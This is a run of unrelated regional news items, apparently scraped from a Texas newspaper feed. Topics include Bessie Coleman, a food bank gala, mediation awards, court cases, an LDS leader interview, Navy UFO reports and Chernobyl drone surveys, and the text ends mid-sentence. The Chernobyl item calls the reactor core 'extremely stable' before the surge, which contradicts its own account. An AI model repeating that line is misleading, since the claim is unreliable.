Secretary of the Navy Richard V. Spencer. Readiness, lethality and modernization are the requirements driving these priorities. The Navy has been pivotal in helping maintain peace and stability in the Pacific region for decades. The Pacific is home to more than 50 percent of the worlds population, many of the worlds largest and smallest economies, several of the worlds largest militaries, and many U.S. allies. As a member of one of the U.S. Navys most relied upon assets, Ervin and other sailors know they are part of a legacy that will last beyond their lifetimes, one that will provide a critical component of the Navy the nation needs. The Navy shows me that I can do anything, added Ervin. This is a hard job and Im able to help protect our nation when called to do so. Ignoring an old friends foreboding premonition, Bessie Coleman took her stunt plane for a test spin prior to a Florida air show on Apr. 30, 1926. But the safety-conscious barnstormer somehow forgot to pack a parachute. Brave Bessie was born in 1893 less than a dozen miles from the Arkansas border in the northeast Texas community of Atlanta. Her father, who was three-quarters Cherokee, returned to his reservation roots around 1900, and her mother, strong-willed daughter of a freed slave, settled at Waxahachie south of Dallas. Even though four offspring had died in childhood and five had left home, Susan Coleman still had four hungry mouths to feed. Life was a day-to-day struggle, as she took in washing and little Bessie and a sister picked cotton, but no one missed a meal in the loving home. Illiteracy did not blind the single mother to the importance of education, and she encouraged her kids to learn to read. The brightest was Bessie, who taught herself with borrowed books and second-hand magazines. It was an article about the Wright brothers in a dog-eared periodical that sparked her precocious interest in aviation. Despite limited schooling, Bessie passed the entrance exam for an all-black college in Oklahoma. The precious few dollars her mother had squirreled away bought just one semester of higher education, and the promising student was forced to drop out. Determined not to let her daughters dreams die on the vine, Mrs. Coleman put Bessie on the train for Chicago. She could stay with two older brothers while looking for higher paying work in the Windy City. The naive notion the North was a prejudice-free paradise was quickly laid to rest, when a white businessman actually laughed in Bessies face. You ought to know better, he growled. We dont hire Negroes here! Realizing their sister needed a skill, the Coleman brothers loaned Bessie the money for beauty school. She studied hard and with diploma in hand landed a good job as a manicurist in the White Sox barber shop. By this time, Bessie had changed her plans. Instead of going back to college, she wanted to take flying lessons. She soon learned, however, no aviation school in America would accept a black and female applicant. Bessie did not know which way to turn until a steady customer pointed her in the right direction. Black newspaper publisher Robert Sengstacke Abbott told the ambitious nail clipper that France was the place where she could get her dream off the ground. Fresh from a crash course in conversational French, Bessie sailed for Europe in the fall of 1920. By the next summer, she was a licensed pilot -- the first of her race and gender in the world. Bessie returned to Chicago in September 1921 and opened a chili parlor. The day her dollars-and-cents goal was reached, she closed the popular eatery and hurried back across the Atlantic for advanced training in aerobatics. The talented Texan was already a celebrity before her August 1922 homecoming. Termed by leading French and Dutch aviators one of the best flyers they had seen, reported the New York Times, Miss Bessie Coleman, said to be the only negro aviatrix in the world, returned from Europe yesterday to give a series of exhibitions in this country. The diminutive daredevil proved she had the right stuff in a Labor Day stunt show on Long Island. This dazzling debut was followed within the month by an exciting crowd-pleaser at Checkerboard Aerodrome in Chicago. When she succeeded in coaxing a dead engine back to life during a death-defying dive, astonished spectators coined a new nickname -- Brave Bessie. While visiting her mother in Waxahachie, Bessie agreed to perform without charge for the local schoolchildren. She struck a blow against segregation by refusing to take off until the black students were allowed to use the same entrance as the whites. Bessie barely escaped with her life in 1924, when the aircraft she was testing for a tire manufacturer malfunctioned and plunged to earth. The crash grounded her for a year, which she spent cooped up in a Chicago apartment recovering from her injuries. By 1926 the close call was a distant memory, and Bessie was her old, spectacular self. She looked forward to a benefit performance in Jacksonville, Florida not only to help a well-deserving charity but also to promote her own idea of a flying school for blacks. Bessie bumped into her old pal Abbott, the Chicago publisher, who told her he had a bad feeling about her new airplane. He begged her to skip the pre-show test flight, but she assured him there was no cause for concern. A recently hired mechanic was at the controls, when the plane suddenly went into a steep dive. The craft flipped over dumping 34 year old Bessie Coleman, who was not wearing her usual parachute, from the open cockpit, and she fell 2,000 feet to her death. Texas Entertainers: Lone Stars in Profile, Bartees latest book, available for immediate shipment! Order your copy today by mailing a check for $26.30 to Bartee Haile, P.O. Box 130011, Spring, TX 77393. Montgomery County Food Banks third annual Food For Life Gala - themed Havana Nights - welcomed 500 guests at The Woodlands Waterway Resort & Conference Center on April 13. Presented by Anadarko, the event raised $400,000 for the Food Banks mission of providing more than 700,000 nutritious meals each month to the food insecure in Montgomery County. During the evenings program, guest speaker Dr. Curtis Null, Superintendent for Conroe Independent School District, spoke to the fact that 41 percent of students in Conroe ISD receive free and/or reduced lunch and how the food banks Backpack Buddy program is a great partnership with the schools to provide healthy diverse foods in students backpacks during the week and on the weekends. Gala guests were among the first to view new video testimonials from clients and school counselors who have been positively affected by the reach of the Montgomery County Food Bank. In addition, guests were moved by letters placed at every table that were written by local school counselors who were personally touched by the Montgomery County Food Banks support. I couldnt be more proud of the efforts of the Food Banks staff and volunteers for creating such an amazing event that helps fund and honor the mission of Montgomery County Food Bank, said Kelly Holmes, Executive Vice President and Chief Financial Officer of Woodforest National Bank, and Chairman of the Board of Montgomery County Food Bank. Allison Hulett, President and CEO of the Montgomery County Food Bank, echoed, I am thrilled with the success of the Food for Life Gala, and believe it is a reflection of our generous community that does not want to see any family, child, or senior wondering if they will eat today. The spirit of Montgomery County was overwhelming; we are so lucky to have such willing support. Nelda Luce Blair emceed the moving event that continued its tradition of honoring leaders in the community that have contributed their time and efforts to support the food bank by presenting them awards. This years award recipients were ExxonMobil, Kroger, Quality Home Products of Texas, Carol Stromatt, and Society of Samaritans. Co-chairing the gala were Shelley Madison and Rachelle Adamson. Dr. Ann Snyder, Montgomery County Food Bank board member and Executive Director of Generosity & Schools for The Woodlands United Methodist Church, shared, I am honored to be a part of the growth at the Food Bank. The evening was a true testament to the hard work and dedication of a staff determined to serve the over 76,000 individuals, including more than 29,000 children, who are food insecure in Montgomery County. Montgomery County Food Bank began in 1985 as a door-to-door operation run out of car trunks by a small group of volunteers wanting to serve those in need in their community. Throughout the past 30 years, generous donors and volunteers have built it into an organization capable of distributing over 8 million pounds of food annually. The Food Bank also hosts mobile food distributions, offers nutritional education programs, emergency assistance in the time of a disaster or crisis, and provides meal programs for children and senior citizens. Montgomery County Food Bank is 501(c)(3) chartered by the state of Texas and is a member of the Texas Food Bank Network and Feeding America. Its headquarters is located at 1 Food For Life Way in Conroe, near Hwy. 242 and I-45, just north of The Woodlands. For more information, to book a tour or volunteer at the facility, or to make a monetary donation or food contribution, visit www.mcfoodbank.org or call 936.271.8800. The Annual Volunteer Appreciation Luncheon Superheroes Unite hosted by Dispute Resolution Center of Montgomery County, Inc. (DRC-MC) honored both Service Award recipients and Achievement Award recipients with a Super Hero theme on April 13 at TRIS Restaurant in The Woodlands. All mediators have participated in intensive training in order to assist with mediations. They use their experience to assist with mediation training for new recruits as well as shorter, practical trainings for outside organizations. Without their assistance the DRC-MC could not provide the same type of affordable, high-quality mediations for Montgomery County residents. Presently the DRC-MC relies on over 60 volunteers who donated over $260,000 worth of time in 2018! Judge Jennifer Robin of the 410 District Court believes in the efforts of the organization to reduce the courts time as well as efficient disposition of cases. Your efforts allow litigants the opportunity to take control over the outcome of their cases and to minimize the risks and costs of litigation. Montgomery County is fortunate to have such a well-run and well-staffed ADR facility. Your contributions do not go unnoticed, said Judge Robins. Volunteers, board members, and elected judges were celebrated in true Super Hero fashion with capes and masks. Judges in attendance included Kathleen Hamilton of the 359th District Court, Judge Claudia Laird of Montgomery County Court of Law 2, and Associate Judge Scharlene Valdez of the 418th District Court. The judges also commented on the many positive ways mediation has impacted Montgomery County courts and the community. Three categories of awards were presented at the luncheon to honor volunteer service to the DRC-MC: Service Awards, Achievement Awards, and Hero Board Awards: DRC-MC Service Awards: Ben DeVries-20 years of service; Charlsie Moore- 19 years of service: Gaye Henley-16 years of service. DRC-MC Achievement Awards for 2018: Charlsie Moore-209.45 mediation hours; Lois Voth-203.84 mediation hours; Glenna Rodgers-201.04 mediation hours. Hero Board Awards- Social Guru: for significant interactions on Social Media, particularly during Conflict Resolution Month-Ben DeVries, Jennifer Engel, Mike Fortner, Charlsie Moore, Lois Voth, Tammie Haynes, Carmen Troyo Justice League: volunteers who fill in for emergencies- Ben DeVries, Mike Fortner, Jack Mixa, Charlsie Moore, Ronnie Pace, Ken Smith, Lois Voth, Glenna Rodgers, Kathy Black, Tom Tuohy, Glenda Livingston, Amy Lecocq, Diana Pino, Rhonda Cannon, Randy Zantor, Norm Gautier, Joyce Gautier, Becky Moore Iron Man: outside event attendance on behalf of the DRC-MC- Francis Bourgeois, Ben DeVries, David Dewhurst, Lynn McDonald, Lois Voth, Glenna Rodgers, Diana Pino Hidden Talent : special skills outside of mediations-Mike Fortner, David Dewhurst, Josh Zientek, Tammie Haynes, Charlsie Moore, Glenna Rodgers, Ben DeVries, Lois Voth, Sara A., Cathy Yowell JP All Stars : assist with mediations in JP Court-: Ben DeVries, Jauna Drake, Mayor Jim Kuykendall, Jim Parker, Dave Teall, Karen West, Gary Smith, Dennis Wymore Best Sidekick: for most dedicated new volunteers-Jennifer Engel, Mike Fortner, Dennis Wymore, Amy Lecocq, Chris Renne, Becky Moore, John Herbig, Gary Smith Jedi Master : Board Member Awards-Charles McBride, Lois Voth, Maria Banos-Jordan, Glenna Rodgers There are many reasons people learn about mediation and volunteer to be involved. A couple of volunteers shared their perspective: I took the mediation training because I thought it would be helpful when negotiating real estate deals, little did I know how hooked Id become! I saw so many truly magical moments between people that came in angry and left in peace that I couldnt wait for the next chance to experience that high. After 19 years I still get that high when I see people in crisis get relief, stated Charlsie Moore, DRC-MC volunteer. From Chairman of the Board, Lois Voth, I find it immensely satisfying to be part of a process that allows parties to resolve issues themselves. I strongly believe in providing individuals a process that allows them to relax and work through disputes collaboratively in a confidential, non-judgmental setting. Lois added, It is a pleasure and an honor to work alongside other volunteer mediators. These folks contribute time to further a more peaceful, problem-solving community. I love having warm, caring people in my life. They believe individual stories matter, theyre able to suspend judgment, and theyre open to possibilities. The annual luncheon is a fun way to pay respects to the dedicated volunteers that give their time to make a difference to individuals involved in local disputes. In mediation, solutions are generated with the help of an impartial volunteer mediator which meets the needs of the participants without deciding who is right or wrong. Viable options are explored in a timely, economical manner through mediation. We are most appreciative of the volunteer service to the community through the DRC-MC, shared Executive Director, Elaine Roberts. We have 3 full time staff and rely heavily on volunteers to complete over 1,000 mediations each year. Our volunteers truly have Super Powers! Disputes are handled Monday through Friday at the Dispute Resolution Center of Montgomery County, Inc. (DRC-MC) in Downtown Conroe on Thompson Street across the street from the Courthouse. The non-profit organization was established in 1988 by Commissioners Court and the Montgomery County Bar Association. Mediation fees are affordable and offer an opportunity to prevent disputes from escalating into serious civil or criminal matters. There is still room to sign up for upcoming mediation trainings scheduled in May and July. Family mediation training is May 22-24, from 8:00am-5:00pm in Conroe. Participants must have completed a General 40 Hour mediation training and 4 hours of domestic violence training prior to registration. A second General 40 Hour Mediation Training session is scheduled for July 10-12, and July 18-19 (all 5 days required) from 8:30am-5:30pm in The Woodlands. Qualified Volunteers with the DRC-MC receive discounted fees for trainings. Learn more about these trainings and others at https://resolution-center.org/training-schedule/ Find out more about the Dispute Resolution Center of Montgomery County, Inc. by visiting www.resolution-center.org. Visit their Facebook page at www.Facebook.com/MontgomeryCountyDRC. Call (936) 760.6914, 8:00am-5:00pm Monday - Friday. Cody Bahn, Houston Chronicle / Staff photographer The Montgomery County Hospital Districts board of directors on Tuesday approved expanding eligibility to applicants of its Health Care Assistance Program by increasing broadening qualifications and coverage. Starting June 1, HCAPs income standard will increase from $1,385 in monthly income to $1,562. Additionally, vehicle exemptions will expand, prescription drug co-pays will be removed and coverage on BiPAPs for sleep apnea therapy will be added, according to MCHD. After nearly 10 hours of deliberation, jurors wrote a judge late Wednesday to say they were hopelessly deadlocked in the case of a Houston teen charged in the fatal shootings of his parents. The jurors are weighing the fate of Antonio Armstrong, Jr., who was 16 when, police said, he killed Dawn Armstrong and Antonio Armstrong Sr. in their Bellaire-area home three years ago. Google Maps A police cadet accidentally shot two other cadets when his loaded handgun went off in the middle of their law enforcement class Thursday night in Texas City, according to authorities. The cadets were attending a class at the College of the Mainland Law Enforcement Training Academy when the weapon fired around 7:40 p.m., Texas City police spokesman Cpl. Allen Bjerke said in a written statement. DALLAS (AP) A Texas couple were sentenced Wednesday to 60 years each in prison for filming themselves sexually abusing kids, a case that prosecutors say involved more than two dozen young victims including babies. A federal judge in Waco gave Christopher Almaguer and his wife Sarah Rashelle Almaguer the maximum prison sentences. They had pleaded guilty in October to one count each of sexual exploitation of children and production of child pornography. Paul Perez Jr., Christopher Almaguer's brother, also was sentenced to 20 years in prison after pleading guilty to two counts of receiving child porn. The Almaguers filmed themselves sexually assaulting at least 25 children ranging in age from 8 months to 14 years old including members of their own family, children they baby-sat for and kids from their Central Texas church, federal prosecutors said. Court records say the 27-year-olds were the legal guardians of at least one of the children. "The sexual abuse involved here is the most indescribable abuse imaginable," John Bash, U.S. attorney for the Western District of Texas, said Wednesday, adding that Almaguers are "probably two of the worst criminals in the history of Texas." U.S. District Judge Alan Albright also sentenced Perez and both Almaguers to a lifetime of supervised release and ordered each of them to pay $10,000 to a victims' compensation fund. State and federal law enforcement officials arrested the Almaguers last year in their hometown of Killeen, a city about 70 miles (110 kilometers) north of Austin, after receiving an anonymous tip to an online child exploitation hotline. Bash said it's unknown how many people the Almaguers sent their child porn to online. "These kids' suffering and abuse will continue for their entire lives because those images will be continually shared online," he said. 3 1 of 3 Courtesy photo Show More Show Less 2 of 3 Courtesy photo Show More Show Less 3 of 3 Dickinson Elementary School special education teacher Tierra Shirley, known for her dedicated efforts to help students with behavioral issues, has been recognized by Ashley HomeStore with a Red Apple Award, a $250 cash prize and a $2,500 check in her name to refurnish the schools teacher lounge. Beyond surprised, said Tierra as she fought back tears during the presentation of her award during a live segment on KHOU-TVs Great Day Houston. As the first graduating lifePATH class exits Lone Star College-Tomball this year, the systems Montgomery campus leadership is preparing to usher in its own first cohort this fall. Rebecca Riley, the president of LSC-Montgomery, said the program fills a gap in higher education for students with disabilities. Its for students who are capable of taking positions in the workforce, or even some going on to regular college courses, but cant transition without some assistance or preparation, Riley said. This program launched four years ago as a way to give students, those who may struggle with executive functioning, the opportunity for a post-secondary education so they can learn whats expected of them in the academic, business and personal world. So far, the program has been a success at LSC-Tomball, with about 80 students enrolled. We knew we wanted to expand it as soon as we could to Montgomery, but we let the program mature at the Tomball campus so when we replicate it, were certain it ensures success for the students, Riley said. Everything is going smoothly, but Riley said theyre watching like a hawk for the final piece of the operation to fall into place. Theres legislation going through the (Texas) legislature to create a space within the education code for the coordinating board to sanction this as a credit associates degree, Riley said, referring to H.B. 3165, a bill that would allow for the program to be an occupational and life skills associate degree program instead of a continuing education program. The bills passage would also let students in the program apply for federal financial aid. Riley, in addition to system Chancellor Stephen Head, said that the bill is supported and close to being passed. We feel confident that were close to having that big accreditation milestone achieved this year, Riley said. Awaiting the bills outcome obviously hasnt stopped the campus from gearing up for enrollment. Leading the charge at LSC-Montgomery is Program Director Montisha Hines-Goosby, who explained how the four-year program works. Students take classes on social skills, the history of advocacy and integration for people with disabilities and receive additional tutoring and support. After the first two years, the students have a decision to make, Hines-Goosby said. They can either continue on in the lifePATH courses with the cohort or exit the program and pursue traditional college classes yet still receive support, tutoring and counseling. Throughout their enrollment, students are graded on social expectation benchmarks to gauge their growth. Another part of the program is placing students in various internshipsboth campus and community based. Students interned with the City of Tomball, nonprofit organizations and mixed-martial arts gyms. We gives students an opportunity to explore their interests with reputable employers, Hines-Goosby said. For any student interested in enrolling in this program at LSC-Montgomery this fall, the application deadline is May 2. Theyll take 15 students this year and continue to add at least that many students in each cohort yearly. jane.stueckemann@chron.com Tucked away near the back of The Woodlands sits one of the two current buildings where The Church of Jesus Christ of Latter-day Saints meets in this area. Craig Sorensen, who leads the areas Latter-day Saint community, sat down with The Villager to talk about the growth the church is experiencing and his involvement with the ministry and his family along the way. QUESTION: What is your position here in The Woodlands? SORENSEN: Im the stake president for the Church of Jesus Christ of Latter-day Saints. We have seven congregations in The Woodlands that we call wards. Each of those congregations have a bishop. Theres somewhere between 350 and 450 members of each congregation. Those seven wards make up a stake. I was recently a bishop for about five years, and was recently called to be stake president. I work with each of the seven bishops, and Im responsible for the membership here in The Woodlands stake. We have just over 2,500 members that live here in The Woodlands. We have two buildings and (we) are building another building that should be finished in September thats up close to (FM)1488. Theres 22 stakes in the Houston area, and each stake has seven to 10 wards, so theres about 65,000 members of the church here in the Houston area. QUESTION: Tell me about the growth your church is experiencing. SORENSEN: This year, we exceeded 16 million members of the church worldwide. Here in the Houston area, weve seen continued growth with the opportunity to have 65,000 missionaries that serve all around the world and missionaries that serve here as well. My son went to the Air Force Academy for one year, but hes currently serving his mission in Brazil. We have 42 missionaries from The Woodlands area that are serving all over the world, and we have 16 to 20 missionaries coming from all over the world that are serving in this area. Theres just over 3,000 stakes across the globe. Were one of 22 in the Houston area, but weve seen a lot of growth here in this area over the last five to 10 years. Weve built three buildings in the Spring and Woodlands area in the last 10 years. Were blessed to be around good people here from good faiths and all walks of life. QUESTION: What do you do for work? SORENSEN: In the church, none of our callings bishops or presidents are a profession. Its a lay ministry, were not paid. We serve for a time period and are released. So Im tied to a chemical distribution company thats based out of Germany, Ive been with them for 26 years. Im responsible for the oil and gas business for the Americas from a professional standpoint. QUESTION: Are you from this area originally? SORENSEN: No, I grew up in Salt Lake City, Utah, and I graduated from high school and served a two-year mission in France and Belgium. I came home, went to Utah State University where I met my wife she finished her degree and then got her masters degree in audiology and I got my degree in finance. We have six children, and weve lived in Florida, Oklahoma, North Dakota, Utah and now here in Texas. All part of the same company moving us around. This has been our longest stay. We moved here in 2007 and we love it. Its heaven. All of our kids have gone to high school here. Theyre all Woodlands High School graduates. When we moved here, our oldest son was going into sophomore year, I have a sophomore daughter there now, and our youngest son is in eighth grade. From a family standpoint, we love being here in The Woodlands. From a community standpoint, its just outstanding. We like that theres people from everywhere. It really provides a sense of community. QUESTION: What is the Mormon community like here? SORENSEN: The neat thing is that its the same everywhere you go. In this community, when people move in, whether they move from Ohio or Pennsylvania, Canada or Europe, when they arrive in The Woodlands they are immediately part of a ward family, and that ward family is tied to a stake. It does provide an opportunity of community. The other blessing is theyre very engaged in the community. We have business leaders, members who serve on the school board, individuals who are firemenwere really engaged in being part of the community. From a church standpoint, we worship every Sunday. We have an hour sacrament meeting, like a mass, where we come together and partake of the sacrament. We sing and have some messages about the Savior. Then we have an hour of Sunday School after where we study both the Bible and the Book of Mormon. Both of those are scriptures that we follow. On Tuesday, Wednesday and Thursday night we have youth activity nights. Also, all of our ninth to 12th graders participate in early morning seminary. From 5:45 to 6:35 every school morning they meet and have a bible study. QUESTION: What do you enjoy most about being involved in the ministry? SORENSEN: Theres two things: that the Church of Jesus Christ of Latter-day Saints is focused on our Savior, learning of him and striving to follow his example. Obviously, his example is understanding that we all fall short, but also reaching out and helping others. As members of the church, we feel a wonderful opportunity to provide service to those around us. The women in our stake work closely with Angel Reach, the foster care ministry. Over the last couple years, theyve quilted 150-plus quilts that theyve presented to Angel Reach, so they can present them to the foster children here in The Woodlands community. This Sunday, were doing a service project for Bridgewood Farms, which is again a local organization where our members are putting together some things, putting on a prom for the youth and young single adults part of that group. Were involved in the Montgomery County Food Bank, Interfaith, and outreach. For example, when Hurricane Harvey hit, because of our involvement with the food bank, and some of the outreach programs, it was seamless for us to work with them to meet needs. Community involvement and reaching out is really part of the members of the churchs faith. Service is critical to what we believe in. QUESTION: Are you involved with other faith groups here? SORENSEN: We have an outreach where we coordinate efforts to work together, plan youth activities between the different faith groups, for example the Muslim vigil . We were very familiar with them and their faith, and they come to some of our activities as well. All of the different faith groups in The Woodlands, we feel like its important to bridge. In the end, we believe were all Gods children and that we have a responsibility to look out for each other regardless of who we worship and how we worship. QUESTION: Whats the importance of networking in the community as a group of people sprinkled throughout The Woodlands? SORENSEN: Following the Saviors example he taught to be a light on a hill. As members of the church, we feel a responsibility first to do everything first to do everything to have our own households in order, strengthen our marriages, to be good parents of children engaged in their activities. Home and family is at the heart of the church. We spend a lot of time really focused on family, and from that we then extend the opportunity to serve to Gods family, which is all those around us. Its a natural part of what we believe. QUESTION: What do you like to do in your free time? SORENSEN: My kids have all been competitive swimmers, my oldests have all been state champions, have all gone on to swim in college. Were also involved in scouting with my boys. My youngest will be an Eagle Scout in the next couple months, and my three oldest boys are also Eagle Scouts as I was. Being tied to family and family activities. My wifes the booster club president of The Woodlands High School swim team. Just the things youd be involved in as parents and members of the community. jane.stueckemann@chron.com The Woodlands Fire Departments top leader Fire Chief Alan Benson is retiring. Benson who has been in charge for 14 years is retiring effective May 2. The announcement was made during the Wednesday night meeting of The Woodlands Township. He said he was grateful for his time in The Woodlands. Number one, I am very blessed and grateful to have an additional career with The Woodlands Township, Benson said in a quick statement. We are very fortunate to have the fire department we do. I knew there would be a trigger, a date, it just came to me and I said, why not? Im going out on good terms, I hope. Were going to reside here in The Woodlands. During a seemingly hasty announcement, Gordy Bunch, the chairman of the township Board of Directors, shifted what was initially a routine agenda item on the consent agenda a fire department administrative update to a regular agenda item, allowing for directors to comment on the issue. Once that was done, Bunch then said officials were working up a press release to be sent out after the meeting, but that hed been informed Benson had submitted his resignation from the department. Bunch said he was appreciative of Bensons service to The Woodlands and read the press release aloud, saying Benson has played an integral role in the growth and development of the townships fire department. After more than 14 years of service to The Woodlands Township, Fire Chief Alan Benson has announced his resignation effective May 2, 2019. His leadership for The Woodlands has been extraordinary and he will be greatly missed by the organization and The Woodlands. Nick Wolda, spokesman for The Woodlands, said township officials will be naming an interim fire chief to serve until a new chief is hired but that nobody has been tabbed to fill the role yet. A recruitment process for a new fire chief will be initiated in early May, Wolda said in an email to The Villager on April 25. In a press release posted to The Woodlands Township website, township officials lauded Benson for numerous achievements and leadership accolades, including his role leading the fire department during natural disasters including Hurricane Harvey on 2017, Hurricane Ike in 2008 as well as guiding the department from an Insurance Services Office rating of 3 when he was hired in 2005 to its current status, as a top tier department with an ISO 1 rating. Benson came to The Woodlands in January 2005 from the Oklahoma City Fire Department, where he worked for 25 years including during the 1995 federal building bombing as well as a horrific F5 category tornado that decimated parts of the city in 1999. Benson has a lengthy resume of accomplishments and certifications, including being an instructor for the Federal Emergency Management Agencys Emergency Management Institute as well as at his alma mater, Oklahoma State Universitys Oklahoma State Fire Service Training entity. He was also credited for achieving four-person staffing on fire trucks as well as guiding the department through a growth period that saw Fire Stations Nos. 6, 7 and 8 constructed as well as the construction of the Central Fire Station and renovations of Fire Station No. 2. Don Norrell, the townships general manager and president, said in the release that Benson will be missed. Chief Benson has done an excellent job over the past 14 years managing and leading The Woodlands Fire Department, Norrell was quoted as saying in a press release. He has been a key member of the townships executive management team and he has provided exceptional leadership to the community during numerous emergency events. He will be missed by the township organization and the community. jeff.forward@chron.com A parrot was taken into custody Monday after nearly spoiling a raid while playing lookout for two crack-dealing suspects by repeatedly yelling, "Mamae, policia!" according to Brazilian police in the state of Piaui. The phrase means, "Mama, police!" Police encountered the unnamed parrot at the home of the two alleged crack cocaine dealers, perched inside a small brick one-story home with a windowless facade, Brazil's R7 news channel reported. As police searched for the suspects, it seemed the lime-green bird knew exactly what to do. "He must have been trained for this," one officer involved in the operation said of the parrot's attempt to interfere with law enforcement, the Guardian reported. "As soon as the police got close he started shouting." The bird's efforts were not successful, however. Footage of the raid's aftermath aired by R7 shows police cataloguing small bags of crack while the parrot sits obediently on a countertop next to a racecar helmet and a glass bottle. Its apparent owners, a man and teenage girl, were arrested, local newspaper Meio Norte reported. WARNING: Blood sucking 'kissing bugs' are on the march through the U.S. An officer then carried the papagaio do trafico - or "trafficking parrot," as news outlets referred to the bird - out of the house on his hand before placing it in a cage and taking him into the Teresina Police Department. The parrot did not say a word, remaining in total silence even as law enforcement sought to loosen it up. This caused the couple's defense attorney, Salma Barros, to cast some doubt on police's version of events. She questioned in an interview with Meio Norte how a bird accused of loudly tipping off law enforcement for drug dealers could remain totally quiet in the police station. Others were concerned that the bird was in police custody at all. An environmentalist named Jaqueline Lustosa told Meio Norte that she had gone to the police department in attempt to free the bird. As of Wednesday, GloboNews, one of Brazil's largest cable news outlets, reported that the parrot had been taken to a local zoo, where zookeepers would train it how to fly. The pet's stubborn silence continued even there, a veterinarian said. "Lots of police officers have come by," veterinarian Alexandre Clark said Wednesday, according to the Guardian, "and he's said nothing." This is not the first time a parrot has been accused of aiding drug-trafficking suspects. In Colombia in 2010, a parrot named Lorenzo made international headlines after police recorded it warning his owners "Run! Run!" in Spanish at the sight of police officers approaching. It was found guarding a cache of guns and pot. "You could say he was some sort of lookout," a Colombian police officer said, according to the Associated Press. AT THE BORDER: They fear being deported, but they meet with ICE agents anyway Colombian officials claimed then that Lorenzo was one of 1,700 birds authorities had recently seized, believing they had all been trained to alert their owners if police approached, the AP reported. Exotic animals have long been used by drug cartels as symbols of power or as unwitting accomplices in drug trafficking. For example, Reuters reported in 2009 that traffickers have tucked drugs into hidden compartments in crates containing venomous snakes marked "Don't open!" so that customs workers would be too afraid to look inside. In 2011, Al Jazeera reported that Mexican authorities were seizing so many exotic animals from "narco zoos" belonging to Mexican drug cartel leaders that they did not know what to do with all of them. In some cases, the news outlet reported, the animals served as both symbols of power and as a warning to rival gangs: Members of the Zetas gang were rumored to have fed their enemies to the backyard tigers. In Brazil, police claimed such gang warfare was a reality. In 2008, authorities reported they had confiscated two alligators from drug traffickers who had allegedly fed the reptiles corpses of rival gang members, according to GloboNews. A recent uptick in sightings of unidentified flying objects - or as the military calls them, "unexplained aerial phenomena" - prompted the U.S. Navy to draft formal procedures for pilots to document encounters, a corrective measure that former officials say is long overdue. "Since 2014, these intrusions have been happening on a regular basis," Joseph Gradisher, spokesman for the deputy chief of naval operations for information warfare, told The Washington Post on Wednesday. Recently, unidentified aircraft entered military-designated airspace as often as multiple times per month. "We want to get to the bottom of this. We need to determine who's doing it, where it's coming from and what their intent is. We need to try to find ways to prevent it from happening again." Citing safety and security concerns, Gradisher vowed to "investigate each and every report." Luis Elizondo, a former senior intelligence officer, told The Post that the new Navy guidelines formalized the reporting process, facilitating data-driven analysis while removing the stigma from talking about UFOs, calling it "the single greatest decision the Navy has made in decades." Chris Mellon, a former deputy assistant secretary of defense for intelligence and a staffer on the Senate Intelligence Committee, was less laudatory. "I don't believe in safety through ignorance," he said, scolding the intelligence community for its lack of "curiosity and courage" and "failure to react" to a strong pattern of sightings. In some cases, pilots - many of whom are engineers and academy graduates - say they observed small spherical objects flying in formation. Others say they've seen white, Tic-Tac-shaped vehicles. Aside from drones, all engines rely on burning fuel to generate power, but these vehicles all had no air intake, no wind and no exhaust. "It's very mysterious, and they still seem to exceed our aircraft in speed," he said, calling it a "truly radical technology." According to Mellon, awestruck and baffled pilots, concerned that reporting unidentified flying aircraft would adversely affect their careers, tended not to speak up. And when they did, he said there was little interest in investigating their reports. "Imagine you see highly advanced vehicles, they appear on radar systems, they look bizarre, no one knows where they're from. This happens on a recurring basis, and no one does anything," said Mellon, who now works with UFODATA, a private organization. Because agencies don't share this type of information, it's difficult to know the full extent of activity. Still, he estimated that dozens of incidents were witnessed by naval officers in a single year, enough to force the service to address the issue. "Pilots are upset, and they're trying to help wake up a slumbering system," he told The Post. Lawmakers' growing curiosity and concern also appeared to coax action out of the Navy. In 2017, the Pentagon first confirmed the existence of the Advanced Aerospace Threat Identification Program, a government operation launched in 2007 to collect and analyze "anomalous aerospace threats." As The Post's Joby Warrick reported, the investigation ranged from "advanced aircraft fielded by traditional U.S. adversaries to commercial drones to possible alien encounters." According to former Pentagon officials and documents previously seen by The Post, program funding, which totaled at least $22 million, was suspended in 2012. Gradisher, the Navy spokesman, said that "in response to requests for information from congressional members and staff, officials have provided a series of briefings by senior Naval Intelligence officials as well as aviators who reported hazards to aviation safety." Elizondo, who also ran AATIP, said the newly drafted guidelines were a culmination of many things. Most notably: that the Navy had enough credible evidence - including eyewitness accounts and corroborating radar information - to "know this is occurring." "If I came to you and said, 'There are these things that can fly over our country with impunity, defying the laws of physics, and within moments could deploy a nuclear device at will' - that would be a matter of national security." With the number of U.S. military people in the Air Force and Navy who described the same observations, the noise level could not be ignored. "This type of activity is very alarming," Elizondo said, "and people are recognizing there are things in our aerospace that lie beyond our understanding." A multidisciplinary group of researchers from the University of Bristol, as part of the National Centre for Nuclear Robotics, recently travelled to Chernobyl exclusion zone, 33 years after the nuclear accident at the power plant in Ukraine. The team carried out a series of radiation mapping surveys using unmanned aerial vehicles (UAVs) including the first ever UAV to map both gamma and neutrons as well as a first ever fixed-wing (aeroplane style) UAV-based radiation mapping survey. This has led to radioactive hotspots being identified that were previously unknown to local authorities. Professor Tom Scott from the School of Physics led the group who conductedsurveys of numerous interest areas, including Buriakivika village. This settlement was abandoned following contamination from the power plant accident as it sat in the centre of the fallout plume west of the power plant. Speaking about the trip, Professor Scott said: This trip has provided a great training opportunity for my PhD students and is an excellent demonstration of capability for UK robotics and sensor technologies. The accident at the Chernobyl nuclear power plant occurred during the early hours of Friday 25 April 1986 during a test on the Chernobyl 4 reactor prior to a routine shutdown. Unknown to the operators, the reactor core was in an extremely stable condition when they went to insert the control rods to shut down the reactor. As a result, there was a dramatic power surge that caused explosions of steam that ultimately exposed the reactor core to the atmosphere. Previous University of Bristol research into the accident includes the J-Value Rating Service For Assessing Nuclear Safety Systems, which assessed that only 10-20% of the 335,000 people evacuated from the Chernobyl area needed to be relocated. The gamma-ray spectrometry technology developed by the University of Bristol has previously been used in the first-ever UAV mapping of the Sellafield site in the UK and has also been deployed numerous times in the Fukushima Prefecture in Japan. During the trip the researchers were filmed by ITV News as part of a feature marking the 33rd anniversary of the accident. According to rental site Zumper, median rents for a one bedroom in Downtown are hovering around $1,251, compared to ann $865 one-bedroom median for San Antonio as a whole. So how does the low-end pricing on a Downtown rental look these daysand what might you get for the price? We took a look at local listings for studios and one-bedroom apartments to find out what price-conscious apartment seekers can expect to find in the neighborhood, which, according to Walk Score ratings, is a "walker's paradise," is convenient for biking and boasts excellent transit options. Read on for the cheapest listings 